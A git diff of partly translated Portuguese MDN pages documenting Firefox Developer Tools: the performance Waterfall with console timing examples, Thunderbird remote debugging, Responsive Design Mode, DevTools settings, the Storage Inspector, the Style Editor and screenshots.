Exactly what you'll see in the Waterfall is very dependent on the kind of thing your site is doing: JavaScript-heavy sites will have a lot of orange, while visually dynamic sites will have a lot of purple and green. But there are common patterns which can alert you to possible performance problems.

+ +

Renderizar cascata

+ +

One pattern that you'll often see in the Waterfall view is something like this:

+ +

+ +

This is a visualization of the basic algorithm the browser uses to update the page in response to some event:

+ +
    +
  1. JavaScript Function Call: some event - for example, a DOM event - causes some JavaScript in the page to run. The JavaScript changes some of the page's DOM or CSSOM.
  2. +
  3. Recalculate Style: if the browser thinks the computed styles for page elements have changed, it must then recalculate them.
  4. +
  5. Layout: next, the browser uses the computed styles to figure out the position and geometry for the elements. This operation is labeled "layout" but is also sometimes called "reflow".
  6. +
  7. Paint: finally, the browser needs to repaint the elements to the screen. One last step is not shown in this sequence: the page may be split into layers, which are painted independently and then combined in a process called "Composition".
  8. +
+ +

This sequence needs to fit into a single frame, since the screen isn't updated until it is complete. It's commonly accepted that 60 frames per second is the rate at which animations will appear smooth. For a rate of 60 frames per second, that gives the browser 16.7 milliseconds to execute the complete flow.

+ +

Importantly for responsiveness, the browser doesn't always have to go through every step:

+ + + +

The Animating CSS properties article shows how animating different CSS properties can give different performance outcomes, and how the Waterfall can help signal that.

+ +

Bloquear JavaScript

+ +

By default, a site's JavaScript is executed in the same thread that the browser uses for layout updates, repaints, DOM events, and so on. This means that long-running JavaScript functions can cause unresponsiveness (jank): animations may not be smooth, or the site might even freeze.

+ +

Using the frame rate tool and the Waterfall together, it's easy to see when long-running JavaScript is causing responsiveness problems. In the screenshot below, we've zoomed in on a JS function that's caused a drop in the frame rate:

+ +

+ +

The Intensive JavaScript article shows how the Waterfall can highlight responsiveness problems caused by long JavaScript functions, and how you can use asynchronous methods to keep the main thread responsive.

+ +

Pinturas dispendiosas

+ +

Some paint effects, such as box-shadow, can be expensive, especially if you are applying them in a transition where the browser has to calculate them in every frame. If you're seeing drops in the frame rate, especially during graphically-intensive operations and transitions, check the Waterfall for long green markers.

+ +

Coleção de lixo

+ +

Red markers in the Waterfall represent garbage collection (GC) events, in which SpiderMonkey (the JavaScript engine in Firefox) walks the heap looking for memory that's no longer reachable and subsequently releasing it. GC is relevant to performance because while it's running the JavaScript engine must be paused, so your program is suspended and will be completely unresponsive.

+ +

To help reduce the length of pauses, SpiderMonkey implements incremental GC: this means that it can perform garbage collection in fairly small increments, letting the program run in between. Sometimes, though, it needs to perform a full non-incremental collection, and the program has to wait for it to finish.

+ + + +

In trying to avoid GC events, and especially non-incremental GC events, it's wise not to try to optimize for the specific implementation of the JavaScript engine. SpiderMonkey uses a complex set of heuristics to determine when GC is needed, and when non-incremental GC in particular is needed. In general, though:

+ + + +

When the Waterfall records a GC marker it indicates:

+ + + +

Adicionar marcadores com a API da consola

+ +

Two markers are directly controlled by console API calls: "Console" and "Timestamp".

+ +

Marcadores da consola

+ +

These enable you to mark a specific section of the recording.

+ +

To make a console marker, call console.time() at the start of the section, and console.timeEnd() at the end. These functions take an argument which is used to name the section.

+ +

For example, suppose we have code like this:

+ +
var iterations = 70;
+var multiplier = 1000000000;
+
+function calculatePrimes() {
+
+  console.time("calculating...");
+
+  var primes = [];
+  for (var i = 0; i < iterations; i++) {
+    var candidate = i * (multiplier * Math.random());
+    var isPrime = true;
+    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
+      if (candidate % c === 0) {
+          // not prime
+          isPrime = false;
+          break;
+       }
+    }
+    if (isPrime) {
+      primes.push(candidate);
+    }
+  }
+
+  console.timeEnd("calculating...");
+
+  return primes;
+}
+ +

The Waterfall's output will look something like this:

+ +

+ +

The marker is labeled with the argument you passed to console.time(), and when you select the marker, you can see the program stack in the right-hand sidebar.

+ +

Async stack

+ +

New in Firefox 41.

+ +

Starting in Firefox 41, the right-hand sidebar will also show the stack at the end of the period: that is, at the point console.timeEnd() was called. If console.timeEnd() was called from the resolution of a Promise, it will also display "(Async: Promise)", under which it will show the "async stack": that is, the call stack at the point the promise was made.

+ +

For example, consider code like this:

+ +
var timerButton = document.getElementById("timer");
+timerButton.addEventListener("click", handleClick, false);
+
+function handleClick() {
+  console.time("timer");
+  runTimer(1000).then(timerFinished);
+}
+
+function timerFinished() {
+  console.timeEnd("timer");
+  console.log("ready!");
+}
+
+function runTimer(t) {
+  return new Promise(function(resolve) {
+    setTimeout(resolve, t);
+  });
+}
+ +

The Waterfall will display a marker for the period between time() and timeEnd(), and if you select it, you'll see the async stack in the sidebar:

+ +

+ +

Marcadores de data/hora

+ +

Timestamps enable you to mark an instant in the recording.

+ +

To make a timestamp marker, call console.timeStamp(). You can pass an argument to label the timestamp.

+ +

For example, suppose we adapt the code above to make a timestamp every 10 iterations of the loop, labeled with the iteration number:

+ +
var iterations = 70;
+var multiplier = 1000000000;
+
+function calculatePrimes() {
+  console.time("calculating...");
+
+  var primes = [];
+  for (var i = 0; i < iterations; i++) {
+
+    if (i % 10 == 0) {
+      console.timeStamp(i.toString());
+    }
+
+    var candidate = i * (multiplier * Math.random());
+    var isPrime = true;
+    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
+      if (candidate % c === 0) {
+          // not prime
+          isPrime = false;
+          break;
+       }
+    }
+    if (isPrime) {
+      primes.push(candidate);
+    }
+  }
+  console.timeEnd("calculating...");
+  return primes;
+}
+ +

In the Waterfall you'll now see something like this:

+ +

+ +

 

+ +
+ + + + + +
diff --git a/files/pt-pt/tools/remote_debugging/depuracao_remota_thunderbird/index.html b/files/pt-pt/tools/remote_debugging/depuracao_remota_thunderbird/index.html deleted file mode 100644 index 31f3278847..0000000000 --- a/files/pt-pt/tools/remote_debugging/depuracao_remota_thunderbird/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Depurar remotamente o Thunderbird -slug: Tools/Remote_Debugging/Depuracao_remota_Thunderbird -tags: - - Tutorial - - depurar - - thunderbird -translation_of: Tools/Remote_Debugging/Thunderbird ---- -
{{ToolsSidebar}}

This guide explains how to use remote debugging to inspect or debug code running in Thunderbird.

- -

Various developer tools are supported by Thunderbird using the remote connection mechanism in Firefox. The currently supported toolset is the Web Console, Inspector, Debugger, Style Editor, Profiler and Network Monitor. Other Tools may become available in the future.

- -

Configurar o Thunderbird

- -

All that needs to be done in Thunderbird is enabling the debugger server. This can be done using Tools from the Menu Bar (alt + Tools) and selecting Allow Remote Debugging. By default, a debugger server will be started on port 6000. If you would like to change this port, for example to debug multiple profiles, you must open the advanced config editor and change the preference devtools.debugger.remote-port.

- -

Configurar o Firefox

- -

Firefox acts as the client and provides the user interface to control the developer tools for Thunderbird. It's best to use a Firefox and Thunderbird version with a matching major version number, but in some cases it will work even with differing versions.

- -

To set up Firefox, remote debugging is enabled by a setting in the Toolbox. Open the Toolbox, click the "Settings" button in the toolbar, and check "Enable remote debugging" in the Settings tab:

- -

- -

Now you can open the connection page in Firefox via the tools menu:

- -

- -

A page will open in the browser; you can add this to your bookmarks toolbar if you like. In case you didn't change the remote port, the fields will already be filled out correctly. Click on the Connect button to initiate the developer tools remote connection.

- -

- -

Afterwards you will be presented with a list of remote tabs and processes. As Thunderbird's notion of tabs doesn't match Firefox, the remote tabs area shows all xul:browser elements in Thunderbird. This can be a content tab, or the message reader. In most cases you will want to select "Main Process" to debug the Thunderbird code itself. A new window opens containing a set of developer tools that can be used with your Thunderbird instance.

- -

- -

Utilizar as Ferramentas de Desenvolvimento

- -

Usage of the tools is mostly self explanatory. If you are having trouble with a certain tool, check the Developer Tools documentation. Due to a remote connection being used there might be some slight differences. Some tools might not be available, and it is also possible that performance is not comparable. For example, using the remote debugger tool takes quite some time to load because the files must be transferred over an internal network connection.

- -

Resolução de problemas

- -

If you encounter an error, the first thing you should check is if you are using matching version numbers. If you are using Thunderbird 24, you should also use Firefox 24 to connect. Next, it important to figure out if it is a problem with the Firefox Developer Tools or with the remote connection code in Thunderbird. To verify this, please try to reproduce the problem using only Firefox. For example, if you notice that you cannot set an attribute value in the Inspector tool, try changing an attribute in the Browser Debugger in Firefox. If you cannot reproduce it there, file a bug in the Thunderbird product, otherwise file a bug in Firefox/Developer Tools.

diff --git a/files/pt-pt/tools/remote_debugging/thunderbird/index.html b/files/pt-pt/tools/remote_debugging/thunderbird/index.html new file mode 100644 index 0000000000..31f3278847 --- /dev/null +++ b/files/pt-pt/tools/remote_debugging/thunderbird/index.html @@ -0,0 +1,44 @@ +--- +title: Depurar remotamente o Thunderbird +slug: Tools/Remote_Debugging/Depuracao_remota_Thunderbird +tags: + - Tutorial + - depurar + - thunderbird +translation_of: Tools/Remote_Debugging/Thunderbird +--- +
{{ToolsSidebar}}

This guide explains how to use remote debugging to inspect or debug code running in Thunderbird.

+ +

Various developer tools are supported by Thunderbird using the remote connection mechanism in Firefox. The currently supported toolset is the Web Console, Inspector, Debugger, Style Editor, Profiler and Network Monitor. Other Tools may become available in the future.

+ +

Configurar o Thunderbird

+ +

All that needs to be done in Thunderbird is enabling the debugger server. This can be done using Tools from the Menu Bar (alt + Tools) and selecting Allow Remote Debugging. By default, a debugger server will be started on port 6000. If you would like to change this port, for example to debug multiple profiles, you must open the advanced config editor and change the preference devtools.debugger.remote-port.

+ +

Configurar o Firefox

+ +

Firefox acts as the client and provides the user interface to control the developer tools for Thunderbird. It's best to use a Firefox and Thunderbird version with a matching major version number, but in some cases it will work even with differing versions.

+ +

To set up Firefox, remote debugging is enabled by a setting in the Toolbox. Open the Toolbox, click the "Settings" button in the toolbar, and check "Enable remote debugging" in the Settings tab:

+ +

+ +

Now you can open the connection page in Firefox via the tools menu:

+ +

+ +

A page will open in the browser; you can add this to your bookmarks toolbar if you like. In case you didn't change the remote port, the fields will already be filled out correctly. Click on the Connect button to initiate the developer tools remote connection.

+ +

+ +

Afterwards you will be presented with a list of remote tabs and processes. As Thunderbird's notion of tabs doesn't match Firefox, the remote tabs area shows all xul:browser elements in Thunderbird. This can be a content tab, or the message reader. In most cases you will want to select "Main Process" to debug the Thunderbird code itself. A new window opens containing a set of developer tools that can be used with your Thunderbird instance.

+ +

+ +

Utilizar as Ferramentas de Desenvolvimento

+ +

Usage of the tools is mostly self explanatory. If you are having trouble with a certain tool, check the Developer Tools documentation. Due to a remote connection being used there might be some slight differences. Some tools might not be available, and it is also possible that performance is not comparable. For example, using the remote debugger tool takes quite some time to load because the files must be transferred over an internal network connection.

+ +

Resolução de problemas

+ +

If you encounter an error, the first thing you should check is if you are using matching version numbers. If you are using Thunderbird 24, you should also use Firefox 24 to connect. Next, it important to figure out if it is a problem with the Firefox Developer Tools or with the remote connection code in Thunderbird. To verify this, please try to reproduce the problem using only Firefox. For example, if you notice that you cannot set an attribute value in the Inspector tool, try changing an attribute in the Browser Debugger in Firefox. If you cannot reproduce it there, file a bug in the Thunderbird product, otherwise file a bug in Firefox/Developer Tools.

diff --git a/files/pt-pt/tools/responsive_design_mode/index.html b/files/pt-pt/tools/responsive_design_mode/index.html new file mode 100644 index 0000000000..d186013f92 --- /dev/null +++ b/files/pt-pt/tools/responsive_design_mode/index.html @@ -0,0 +1,214 @@ +--- +title: Modo de Desenho Adaptável +slug: Tools/Modo_de_Desenho_Adaptavel +tags: + - Desenho + - Desenho Adaptável + - Desenvolvimento de Web + - Ferramentas + - Ferramentas de Desenvolvimento + - Firefox + - Guía + - 'l10n:priority' +translation_of: Tools/Responsive_Design_Mode +--- +
{{ToolsSidebar}}
+ +

Desenho adaptável is the practice of designing a website so it looks and works properly on a range of different devices — particularly mobile phones and tablets as well as desktops and laptops.

+ +

The most obvious factor here is screen size, but there are other factors as well, including the pixel density of the display and whether it supports touch. Responsive Design Mode gives you a simple way to simulate these factors, to test how your website will look and behave on different devices.

+ +

Alternar Modo de Desenho Adaptável

+ +

There are three ways to toggle Responsive Design Mode:

+ + + +

Utilizar Modo de Desenho Adaptável

+ +

With Responsive Design Mode enabled, the content area for web pages is set to the screen size for the particular device. Initially, it's set to 320 x 480 pixels.

+ +

+ +

You can show or hide the Developer Tools toolbox independently of toggling Responsive Design Mode itself:

+ +

While Responsive Design Mode is enabled, you can continue browsing as you normally would in the resized content area.

+ +

Seleção de dispositivo

+ +

Just above the viewport you'll see a label "no device selected"; click this to see a list of device names. Select a device, and Responsive Design Mode will set the following properties to match the selected device:

+ + + +

Additionally, Firefox will set the User-Agent HTTP request header to identify itself as the default browser on the selected device. For example, if you've selected an iPhone, then Firefox will identify itself as Safari. The navigator.userAgent property will be set to the same value.

+ +

{{EmbedYouTube("JNAyKemudv0")}}

+ +

The devices listed in the drop-down are just a subset of the devices that can be selected. At the end of the drop-down, you'll see an item labeled "Edit list...". Select this to see a panel containing all the choices, which enables you to check the devices you want to see in the drop-down. The set of devices, and the values associated with each device, are taken from https://github.com/mozilla/simulated-devices.

+ +

Guardar dispositivos personalizados

+ +

Starting in Firefox 54, you can save custom devices in Responsive Design Mode. Each device can have its own:

+ + + +

Also, you can preview the properties of existing devices by hovering over the name in the device modal where they will display in a tooltip.

+ +

+ +

Controlos de dispositivo

+ +

You can also supply custom values for most device properties.

+ +

Definir tamanho do ecrã

+ +

To set screen size, click on the values under the viewport, and edit them:

+ +

+ +

You can also grab the bottom-left corner of the viewport and drag the viewport to the size you want.

+ +

And from Firefox 59 onward, you can now edit the screen size with the keyboard. When you are focused on (or your caret is within) either of the two dimension values, you can press or hold down the up and down cursor keys to increase or decrease the dimension value by 1 pixel each time.

+ +

If you want to change the dimensions more rapidly, you can hold down the Shift key, then press or hold down the up and down cursor keys to increase or decrease the dimension value by 10 pixels each time.

+ +

Definir proporção do píxel do dispositivo

+ +

To set a custom device pixel ratio, click the list box labeled "DPR" and select the value you want:

+ +

+ +

Alternar simulação do evento de toque

+ +

To enable/disable touch event simulation, click the icon of a hand with a pointy finger:

+ +

While touch event simulation is enabled, mouse events are translated into touch events.

+ +

Controlar o comportamento de recarregar a página

+ +

New in Firefox 60 is the Reload when... drop-down menu:

+ +

+ +

Clicking it reveals two options, both of which are disabled by default:

+ + + +

Before Firefox 60, such reloads occurred automatically because certain page behaviors would otherwise not be applied. For example, many pages check for touch support on load and only add event handlers if it is supported, or only enable certain features on certain browsers.

+ +

However, if you are not interested in examining such features (maybe you are just checking the overall layout at different sizes), these reloads can waste time and possibly result in the loss of productive work, so it is useful to be able to control these reloads.

+ +

Now when you change such settings for the first time, you'll be given a warning message that tells you these reloads are no longer automatic, and informed about how you can make them automatic. For example:

+ +

+ +

Alternar orientação

+ +

To switch the screen orientation between portrait and landscape, click the icon next to the device selector:

+ +

+ +

Acelerar a rede

+ +

If you do all your development and testing using a very fast network connection, you may see problems with your site as soon as it's accessed using a slower connection. In Responsive Design Mode you can instruct the browser to emulate, very approximately, the characteristics of various different types of networks.

+ +

The characteristics emulated are:

+ + + +

The table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SelectionDownload speedUpload speedMinimum latency (ms)
GPRS50 KB/s20 KB/s500
Regular 2G250 KB/s50 KB/s300
Good 2G450 KB/s150 KB/s150
Regular 3G750 KB/s250 KB/s100
Good 3G1.5 MB/s750 KB/s40
Regular 4G/LTE4 MB/s3 MB/s20
DSL2 MB/s1 MB/s5
Wi-Fi30 MB/s15 MB/s2
+ +

To select a network, click the list box that's initially labeled "No throttling":

+ +

+ +

Capturar Ecrã

+ +

To take a screenshot of the viewport, click the camera icon:

+ +

+ +

Screenshots are saved to Firefox's default download location.

+ +

Starting in Firefox 53, if you checked "Screenshot to clipboard" in the Developer Tools Settings page, then the screenshot will also be copied to the system clipboard.

diff --git a/files/pt-pt/tools/settings/index.html b/files/pt-pt/tools/settings/index.html new file mode 100644 index 0000000000..ec62fb999b --- /dev/null +++ b/files/pt-pt/tools/settings/index.html @@ -0,0 +1,244 @@ +--- +title: Configurações +slug: Tools/Configurações +translation_of: Tools/Settings +--- +
{{ToolsSidebar}}

Abrir as Configurações

+ +

Para ver o painel das 'Configurações das Ferramentas de Desenvolviemtno', abra quaisquer 'Ferramentas de Desenvolvimento', e depois:

+ + + +

The Settings pane looks something like this:

+ +

Depicts the Toolbox options

+ +

Categorias

+ +

Default Firefox Developer Tools

+ +

This group of checkboxes determines which tools are enabled in the toolbox. New tools are often included in Firefox but not enabled by default.

+ +

Botões Disponíveis da Caixa de Ferramentas

+ +

This group of checkboxes determines which tools get an icon in the Toolbox's toolbar.

+ +

Note that in Firefox 52 we removed the checkbox to toggle the "Select element" button. The "Select element" button is now always shown.

+ +

Temas

+ +

This enables you to choose one of three different themes.

+ +

There's a light theme, which is the default:

+ +

Light theme for DevTools

+ +

A dark theme (the default on Firefox Developer Edition):

+ +

Dark theme for DevTools

+ +

There's also a Firebug theme that looks like the Firebug extension, letting you feel at home if you're used to Firebug:

+ +

Firebug theme for DevTools

+ +

Preferências comuns

+ +

Settings that apply to more than one tool. There's just one of these:

+ +
+
Enable persistent logs
+
A setting to control whether or not the Web Console and Network Monitor clear their output when you navigate to a new page.
+
+ +

Inspetor

+ +
+
Show browser styles
+
A setting to control whether styles applied by the browser (user-agent styles) should be displayed in the Inspector's Rules view. Note that this setting is independent of the "Browser styles" checkbox in the Inspector's Computed view.
+
Truncate DOM attributes
+
By default, the Inspector truncates DOM attributes that are more than 120 characters long. Uncheck this box to prevent this behavior. This setting works by toggling the about:config preference "devtools.markup.collapseAttributes". To change the threshold at which attributes are truncated, you can edit the about:config preference "devtools.markup.collapseAttributeLength".
+
Default color unit
+
A setting to control how colors are represented in the inspector: +
    +
  • Hex
  • +
  • HSL(A)
  • +
  • RGB(A)
  • +
  • color name
  • +
  • As authored.
  • +
+
+
Enable layout panel
+
Enable the experimental layout panel. This setting only exists in Firefox Nightly.
+
+ +

Consola da Web

+ +
+
Enable timestamps
+
Controls whether the Web Console displays timestamps. The Web Console defaults to hiding timestamps.
+
Enable new console frontend
+
Switch to the experimental new console. This setting only exists in Firefox Nightly.
+
+ +

Depurador

+ +
+
Enable Source Maps
+
Enable source map support in the debugger.
+
Enable new debugger frontend
+
Enable the new debugger. This setting only exists in Firefox Nightly.
+
+ +

Editor de Estilo

+ +
+
Show original sources
+
When a CSS preprocessor supporting source maps is used, this enables the Style Editor to display the original, preprocessor, sources rather than the generated CSS. Learn more about Style Editor support for CSS source maps. With this setting checked, the Page Inspector Rules view will also provide links to the original sources.
+
Autocomplete CSS
+
Enable the Style Editor to offer autocomplete suggestions.
+
+ +

Comportamento da Captura de Ecrã

+ +
+
Screenshot to clipboard
+
When you click the icon for the Screenshot tool, copy the screenshot image to the clipboard (the image will still be saved to your Downloads directory). New in Firefox 53.
+
Play camera shutter sound
+
When you click the icon for the Screenshot tool, play a shutter sound. New in Firefox 53.
+
+ +

Preferências do Editor

+ +

Preferences for the CodeMirror source editor, which is included in Firefox and used by several developer tools, including Scratchpad and the Style Editor.

+ +
+
Detect indentation
+
Auto-indent new lines based on the current indentation.
+
Autoclose brackets
+
 
+
Indent using spaces
+
 
+
Tab size
+
 
+
Keybindings
+
Choose the default CodeMirror keybindings, or keybindings from one of several popular editors: +
    +
  • Vim
  • +
  • Emacs
  • +
  • Sublime Text
  • +
+
+
+ +

Configurações avançadas

+ +
+
Show Gecko platform data
+
A setting to control whether or not profiles should include Gecko platform symbols.
+
+ +
+
Disable HTTP Cache
+
Disable the browser HTTP cache to simulate first-load performance in all tabs that have the Toolbox open. This setting persists, meaning that if it is set, caching will be disabled whenever you reopen the devtools. Caching is re-enabled when the devtools are closed. Note that service workers are not affected by this option. +
Note that this option was called "Disable Cache" in Firefox versions previous to 49, but it was renamed to make it clearer that this affects the HTTP cache, and not Service Workers/the Cache API.
+
+
Disable JavaScript
+
Reload the current tab with JavaScript disabled.
+
Enable Service Workers over HTTP
+
Enable Service Worker registrations from insecure websites.
+
Enable browser chrome and add-on debugging toolboxes
+
Enable you to use developer tools in the context of the browser itself, and not only web content.
+
Enable remote debugging
+
Enable the developer tools to debug remote Firefox instances.
+
Enable worker debugging
+
Enable a panel within the debugger to debug workers. +

Nota: This option got removed from the UI in Firefox 56, because this version ships with a new Debugger UI, but it can still be enabled for the old UI by setting the preference devtools.debugger.workers to true.

+
+
+ +
+ + + + + +
diff --git a/files/pt-pt/tools/storage_inspector/index.html b/files/pt-pt/tools/storage_inspector/index.html new file mode 100644 index 0000000000..bc0259b3ca --- /dev/null +++ b/files/pt-pt/tools/storage_inspector/index.html @@ -0,0 +1,192 @@ +--- +title: Inspetor de Armazenamento +slug: Tools/Inspetor_de_armazenamento +tags: + - Armazenamento + - Armazenamento Local + - Armazenamento da Sessão + - BD Indexada + - Cookies + - Ferramentas + - Ferramentas do Programador + - Firefox + - Guia(2) +translation_of: Tools/Storage_Inspector +--- +
{{ToolsSidebar}}
+

The Storage Inspector is disabled by default. Enable it in the Developer Tools Settings.

+
+ +

The Storage Inspector enables you to inspect various types of storage that a web page can use. Currently it can be used to inspect the following storage types:

+ + + +

For the time being, the Storage Inspector only gives you a read-only view of storage. But we're working to let you edit storage contents in future releases.

+ +

Abrir o Inspetor de Armazenamento

+ +

Once enabled, you can open the Storage Inspector by selecting "Storage Inspector" from the Web Developer submenu in the Firefox Menu Panel (or Tools menu if you display the menu bar or are on Mac OS X), or by pressing its Shift + F9 keyboard shortcut.

+ +

The Toolbox will appear at the bottom of the browser window, with the Storage Inspector activated. It's just called "Storage" in the Developer Toolbox.

+ +

+ +

Interface do Utilizador do Inspetor de Armazenamento

+ +

The Storage Inspector UI is split into three main components:

+ + + +

+ +

Árvore de armazenamento

+ +

The storage tree lists all the storage types that the Storage Inspector can inspect:

+ +

+ +

Under each type, objects are organized by origin. For cookies, the protocol does not differentiate the origin. For Indexed DB or local storage an origin is a combination of protocol + hostname. For example, "http://mozilla.org" and "https://mozilla.org" are two different origins so local storage items cannot be shared between them.

+ +

Under "Cache Storage", objects are organized by origin and then by the name of the cache:

+ +

+ +

IndexedDB objects are organized by origin, then by database name, then by object store name:

+ +

+ +

With the Cookies, Local Storage, and Session Storage types, there's only one level in the hierarchy, so stored items are listed directly under each origin:

+ +

+ +

You can click on each item in the tree to expand or collapse its children. The tree is live, so if a new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically.

+ +

Clicking on a tree item will display detailed information about that item in the Table Widget on the right. For example, clicking on an origin which is a child of the Cookies storage type will show all the cookies belonging to that domain.

+ +

Table Widget

+ +

The table widget is the place where all the items corresponding to the selected tree item (be it an origin, or database) are listed. Depending on the storage type and tree item, the number of columns in the table might differ.

+ +

All the columns in a Table Widget are resizable. You can hide and show columns by context-clicking on the table header and selecting the columns you want to see:

+ +

+ +

Procura

+ +

There's a search box at the top of the Table Widget:

+ +

+ +

This filters the table to show only items which match the search term. Items match the search term if any of their fields (including fields whose columns you have hidden) contain the search term.

+ +

From Firefox 50 onwards, you can use Ctrl+F (Cmd+F on a Mac) to focus the search box.

+ +

Barra lateral

+ +

When you select any row in the Storage table widget, the sidebar is shown with details about that row. If a cookie is selected, it will list all the details about that cookie.

+ +

The sidebar can parse the value of the cookie or local storage item or an IndexedDB item and convert it into a meaningful object instead of just a string. For example:

+ + + +

The shown values can also be filtered using the search box at the top of the sidebar.

+ +

Cache de Armazenamento

+ +

Under the Cache Storage type you can see the contents of any DOM caches created using the Cache API. If you select a cache, you'll see a list of the resources it contains. For each resource, you'll see:

+ + + +

+ +

Cookies

+ +

When you select an origin inside the Cookies storage type from the storage tree, all the cookies present for that origin will be listed in the table widget. The table then has the following columns:

+ + + +
+

Note: Before Firefox 51 the columns HostOnly, Secure and HttpOnly were called isDomain, isSecure and isHttpOnly.

+
+ +

You can edit cookies by double-clicking inside cells in the Table Widget and editing the values they contain.

+ +

You can also delete cookies using the context menu:

+ +

+ +

Armazenamento local / Armazenamento da sessão

+ +

When an origin corresponding to local storage or session storage is selected, the table will list the name and value of all the items corresponding to local storage or session storage.

+ +

You can edit local and session storage items by double-clicking inside cells in the Table Widget and editing the values they contain:

+ +

{{EmbedYouTube("oeQzhpoMByw")}}

+ +

You can also delete local storage and session storage entries using the context menu:

+ +

+ +

BD Indexada

+ +

When you select an origin inside the Indexed DB storage type in the storage tree, the table lists the details of all the databases present for that origin. Databases have the following details:

+ + + +

When an IndexedDB database is selected in the storage tree, details about all the object stores are listed in the table. Any object store has the following details:

+ + + +

+ +

When an object store is selected in the storage tree, all the items in that object store are listed in the table. All items have a key and a value associated with them.

+ +

From Firefox 49 onwards, you can delete an IndexedDB database using the context menu in the Storage tree view:

+ +

+ +

If the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the Storage Inspector:

+ +

From Firefox 50 onwards, you can use the context menu in the table widget to delete all items in an object store, or a particular item:

+ +

+ +

 

diff --git a/files/pt-pt/tools/style_editor/index.html b/files/pt-pt/tools/style_editor/index.html new file mode 100644 index 0000000000..63bb52bba4 --- /dev/null +++ b/files/pt-pt/tools/style_editor/index.html @@ -0,0 +1,111 @@ +--- +title: Editor de Estilo +slug: Tools/Editor_de_estilo +tags: + - CSS + - Desenvolvimento da Web + - 'Desenvolvimento da Web: Ferramentas' + - Ferramentas + - Folhas de estilo +translation_of: Tools/Style_Editor +--- +
{{ToolsSidebar}}

O Editor de Estilo permite-lhe:

+ + + +

{{EmbedYouTube("7839qc55r7o")}}

+ +

To open the Style Editor choose the "Style Editor" option from the "Web Developer" menu (which is a submenu in the "Tools" menu on the Mac). The Toolbox will appear at the bottom of the browser window, with the Style Editor activated:

+ +

+ +

O Editor de Estilo está dividido em três secções principais:

+ + + +

O painel de folha de estilo

+ +

The style sheet pane, on the left, lists all the style sheets being used by the current document. You can quickly toggle the use of a given sheet on and off by clicking the eyeball icon to the left of the sheet's name. You can save any changes you've made to the style sheet to your local computer by clicking the Save button in the bottom-right corner of each sheet's entry in the list.

+ +

From Firefox 40 onwards, the style sheet pane also includes a context menu that lets you open the selected style sheet in a new tab.

+ +

O painel do editor

+ +

On the right is the editor pane. This is where the source for the selected style sheet is available for you to read and edit. Any changes you make are immediately applied to the page. This makes it easy to experiment with, revise, and test changes. Once you're satisfied with your changes, you can save a copy locally by clicking the Save button on the sheet's entry in the style sheet pane.

+ +

The editor provides line numbers and syntax highlighting to help make it easier to read your CSS. It also supports a number of keyboard shortcuts.

+ +

The Style Editor automatically de-minimizes style sheets that it detects, without affecting the original. This makes it much easier to work on pages that have been optimized.

+ +

The Style Editor supports autocomplete. Just start typing, and it will offer you a list of suggestions.

+ +

You can switch autocomplete off in the Style Editor settings.

+ +

A barra lateral de multimédia

+ +

The Style Editor displays a sidebar on the right-hand side whenever the current sheet contains any @media rules. The sidebar lists the rules and provides a link to the line of the sheet where the rule is defined. Click an item to jump to that rule in the sheet. The condition text of the rule is greyed-out if the media query doesn’t currently apply.

+ +

The media sidebar works especially well with Responsive Design View for creating and debugging responsive layouts:

+ +

{{EmbedYouTube("aVUXmvLSwoM")}}

+ +

From Firefox 46 onwards, if an @media rule contains a screen size in a condition, then it is made clickable: clicking it then resizes the screen to that size using the Responsive Design View:

+ +

{{EmbedYouTube("XeocxoW2NYY")}}

+ +

Criação e importação das folhas de estilo

+ +

You can create a new style sheet by clicking the New button in the toolbar. Then you can just start entering CSS into the new editor and watch as the new styles are applied in real time just like changes to the other sheets.

+ +

You can load a style sheet from disk and apply it to the page by clicking the Import button.

+ +

Source map support

+ +

{{EmbedYouTube("zu2eZbYtEUQ")}}

+ +

Web developers often create CSS files using a preprocessor like Sass, Less, or Stylus. These tools generate CSS files from a richer and more expressive syntax. If you do this, being able to see and edit the generated CSS is not so useful, because the code you maintain is the preprocessor syntax, not the generated CSS. So you'd need to edit the generated CSS, then manually work out how to reapply that to the original source.

+ +

Source maps enable the tools to map back from the generated CSS to the original syntax, so they can display, and allow you to edit, files in the original syntax. From Firefox 29 onwards, the Style Editor can understand CSS source maps.

+ +

This means that if you use, for example, Sass, then the Style Editor will show you, and allow you to edit, Sass files, rather than the CSS that is generated from them:

+ +

For this to work, you must:

+ + + +

Visualização das fontes originais

+ +

Now, if you check "Show original sources" in the Style Editor settings, the links next to CSS rules in the Rules view will link to the original sources in the Style Editor.

+ +

From Firefox 35 onwards original sources are displayed by default.

+ +

Edição das fontes originais

+ +

You can also edit the original sources in the Style Editor and see the results applied to the page immediately. To get this to work there are two extra steps.

+ +

First, set up your preprocessor so it watches the original source and automatically regenerates the CSS when the source changes. With Sass you can do this simply by passing the --watch option:

+ +
sass index.scss:index.css --sourcemap --watch
+ +

Next, save the original source in the Style Editor by clicking the "Save" button next to the file, and saving it over the original file.

+ +

Now when you make changes to the source file in the Style Editor the CSS is regenerated and you can see the changes right away.

+ +

Atalhos de teclado

+ +

Source editor shortcuts

+ +

{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "source-editor") }}

+ +

{{ languages( { "ja": "ja/Tools/Style_Editor"} ) }}

diff --git a/files/pt-pt/tools/taking_screenshots/index.html b/files/pt-pt/tools/taking_screenshots/index.html new file mode 100644 index 0000000000..79f19d78ea --- /dev/null +++ b/files/pt-pt/tools/taking_screenshots/index.html @@ -0,0 +1,42 @@ +--- +title: Capturas de ecrã +slug: Tools/Capturas_de_ecra +tags: + - Ferramentas +translation_of: Tools/Taking_screenshots +--- +
{{ToolsSidebar}}

You can use the Developer Tools to take a screenshot of the entire page, or of a single element in the page.

+ +

Efetuar capturas de ecrã de uma página

+ +

Use the screenshot icon: to take a full-page screenshot of the current page.

+ +

By default, the screenshot icon is not enabled. To enable it:

+ + + +

You'll now see the icon in the toolbar:

+ +

{{EmbedYouTube("KB5V9uJgcS4")}}

+ +

Click the icon to take a screenshot of the current page. The screenshot is saved to your browser's "Downloads" directory:

+ +

{{EmbedYouTube("HKS6MofdXVE")}}

+ +

Efetuar uma captura de ecrã de um elemento

